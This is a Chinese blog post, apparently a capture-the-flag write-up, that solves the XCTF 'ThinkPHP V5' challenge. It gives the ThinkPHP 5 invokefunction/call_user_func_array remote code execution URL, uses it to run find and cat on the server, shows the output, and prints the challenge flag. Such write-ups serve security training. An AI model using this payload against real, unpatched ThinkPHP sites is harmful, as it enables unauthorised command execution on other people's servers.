

攻防世界 ThinkPHP V5

原创

冯冯冯~ 于 2021-11-20 23:30:13 发布 463 收藏

分类专栏: [web 攻防世界](#) 文章标签: [web安全](#) [安全 php](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_57938502/article/details/121447755

版权



[web](#) 同时被 2 个专栏收录

10 篇文章 0 订阅

订阅专栏



[攻防世界](#)

1 篇文章 0 订阅

订阅专栏

程序未对控制器进行过滤, 导致攻击者可以用 \ (斜杠) 调用任意类方法。



:)

ThinkPHP V5

十年磨一剑 - 为API开发设计的高性能框架

[V5.0 版本由 [七生云](#) 独家赞助发布]

[官方教程资源](#) [官方应用市场](#) [统一API调用服务](#)

CSDN @冯冯冯~

将url 改变为:

<http://159.138.137.79:63571/index.php?>

[s=index/think\app\invokefunction&function=call_user_func_array&vars\[0\]=system&vars\[1\]\[\]=find / -name flag*](http://159.138.137.79:63571/index.php?s=index/think\app\invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag*)

查找flag

```
← → ↻ 不安全 | 111.200.241.244:64324/index.php?s=index\think\app\invokefunction&function=call_user_func_array&vars[0]=system&%20vars[1][]=find%20/%20-name%20flag*
应用 Gmail 攻防世界 题目列表 - 洛谷 |... 首页 - Bugku CTF 选手训练营 - 网络... Burpsuite标志内at... BUUCTF 使用linux命令行查... Damn Vulnerable... XSS 跨站脚本漏洞 |... 阅读清单

/proc/sys/kernel/sched_domain/cpu0/domain0/flags /proc/sys/kernel/sched_domain/cpu0/domain1/flags /proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain1/flags /proc/sys/kernel/sched_domain/cpu10/domain0/flags /proc/sys/kernel/sched_domain/cpu10/domain1/flags
/proc/sys/kernel/sched_domain/cpu11/domain0/flags /proc/sys/kernel/sched_domain/cpu11/domain1/flags /proc/sys/kernel/sched_domain/cpu12/domain0/flags
/proc/sys/kernel/sched_domain/cpu12/domain1/flags /proc/sys/kernel/sched_domain/cpu13/domain0/flags /proc/sys/kernel/sched_domain/cpu13/domain1/flags
/proc/sys/kernel/sched_domain/cpu14/domain0/flags /proc/sys/kernel/sched_domain/cpu14/domain1/flags /proc/sys/kernel/sched_domain/cpu15/domain0/flags
/proc/sys/kernel/sched_domain/cpu15/domain1/flags /proc/sys/kernel/sched_domain/cpu16/domain0/flags /proc/sys/kernel/sched_domain/cpu16/domain1/flags
/proc/sys/kernel/sched_domain/cpu17/domain0/flags /proc/sys/kernel/sched_domain/cpu17/domain1/flags /proc/sys/kernel/sched_domain/cpu18/domain0/flags
/proc/sys/kernel/sched_domain/cpu18/domain1/flags /proc/sys/kernel/sched_domain/cpu19/domain0/flags /proc/sys/kernel/sched_domain/cpu19/domain1/flags
/proc/sys/kernel/sched_domain/cpu20/domain0/flags /proc/sys/kernel/sched_domain/cpu20/domain1/flags /proc/sys/kernel/sched_domain/cpu21/domain0/flags
/proc/sys/kernel/sched_domain/cpu21/domain1/flags /proc/sys/kernel/sched_domain/cpu22/domain0/flags /proc/sys/kernel/sched_domain/cpu22/domain1/flags
/proc/sys/kernel/sched_domain/cpu23/domain0/flags /proc/sys/kernel/sched_domain/cpu23/domain1/flags /proc/sys/kernel/sched_domain/cpu24/domain0/flags
/proc/sys/kernel/sched_domain/cpu24/domain1/flags /proc/sys/kernel/sched_domain/cpu25/domain0/flags /proc/sys/kernel/sched_domain/cpu25/domain1/flags
/proc/sys/kernel/sched_domain/cpu26/domain0/flags /proc/sys/kernel/sched_domain/cpu26/domain1/flags /proc/sys/kernel/sched_domain/cpu27/domain0/flags
/proc/sys/kernel/sched_domain/cpu27/domain1/flags /proc/sys/kernel/sched_domain/cpu28/domain0/flags /proc/sys/kernel/sched_domain/cpu28/domain1/flags
/proc/sys/kernel/sched_domain/cpu29/domain0/flags /proc/sys/kernel/sched_domain/cpu29/domain1/flags /proc/sys/kernel/sched_domain/cpu30/domain0/flags
/proc/sys/kernel/sched_domain/cpu30/domain1/flags /proc/sys/kernel/sched_domain/cpu31/domain0/flags /proc/sys/kernel/sched_domain/cpu31/domain1/flags
/proc/sys/kernel/sched_domain/cpu32/domain0/flags /proc/sys/kernel/sched_domain/cpu32/domain1/flags /proc/sys/kernel/sched_domain/cpu33/domain0/flags
/proc/sys/kernel/sched_domain/cpu33/domain1/flags /proc/sys/kernel/sched_domain/cpu34/domain0/flags /proc/sys/kernel/sched_domain/cpu34/domain1/flags
/proc/sys/kernel/sched_domain/cpu35/domain0/flags /proc/sys/kernel/sched_domain/cpu35/domain1/flags /proc/sys/kernel/sched_domain/cpu4/domain0/flags
/proc/sys/kernel/sched_domain/cpu4/domain1/flags /proc/sys/kernel/sched_domain/cpu5/domain0/flags /proc/sys/kernel/sched_domain/cpu6/domain0/flags
/proc/sys/kernel/sched_domain/cpu6/domain1/flags /proc/sys/kernel/sched_domain/cpu7/domain0/flags /proc/sys/kernel/sched_domain/cpu7/domain1/flags
/proc/sys/kernel/sched_domain/cpu8/domain0/flags /proc/sys/kernel/sched_domain/cpu8/domain1/flags /proc/sys/kernel/sched_domain/cpu9/domain0/flags
/proc/sys/kernel/sched_domain/cpu9/domain1/flags /sys/devices/virtual/net/eth0/flags /sys/devices/virtual/net/lo/flags /sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags /sys/devices/platform/serial8250/tty/ttyS5/flags /sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags /sys/devices/platform/serial8250/tty/ttyS8/flags /sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags /sys/devices/platform/serial8250/tty/ttyS11/flags /sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags /sys/devices/platform/serial8250/tty/ttyS14/flags /sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags /sys/devices/platform/serial8250/tty/ttyS17/flags /sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags /sys/devices/platform/serial8250/tty/ttyS20/flags /sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags /sys/devices/platform/serial8250/tty/ttyS23/flags /sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags /sys/devices/platform/serial8250/tty/ttyS26/flags /sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags /sys/devices/platform/serial8250/tty/ttyS29/flags /sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags /flag /flag
```

CSDN @冯冯冯~

s[1][]= (Linux指令)

复制路径然后查看文件内容

[http://159.138.137.79:63571/index.php?s=index\think\app\invokefunction&function=call_user_func_array&vars\[0\]=system&vars\[1\]\[\]=cat /sys/devices/platform/serial8250/tty/ttyS31/flags /flag /flag](http://159.138.137.79:63571/index.php?s=index\think\app\invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /sys/devices/platform/serial8250/tty/ttyS31/flags /flag /flag)

```
← → ↻ 不安全 | 111.200.241.244:64324/index.php?s=index\think\app\invokefun
应用 Gmail 攻防世界 题目列表 - 洛谷 |... 首页 - Bugku CTF 选手训练营 - 网络
```

flag{thinkphp5_rce} flag{thinkphp5_rce} flag{thinkphp5_rce}

CSDN @冯冯冯~

得到flag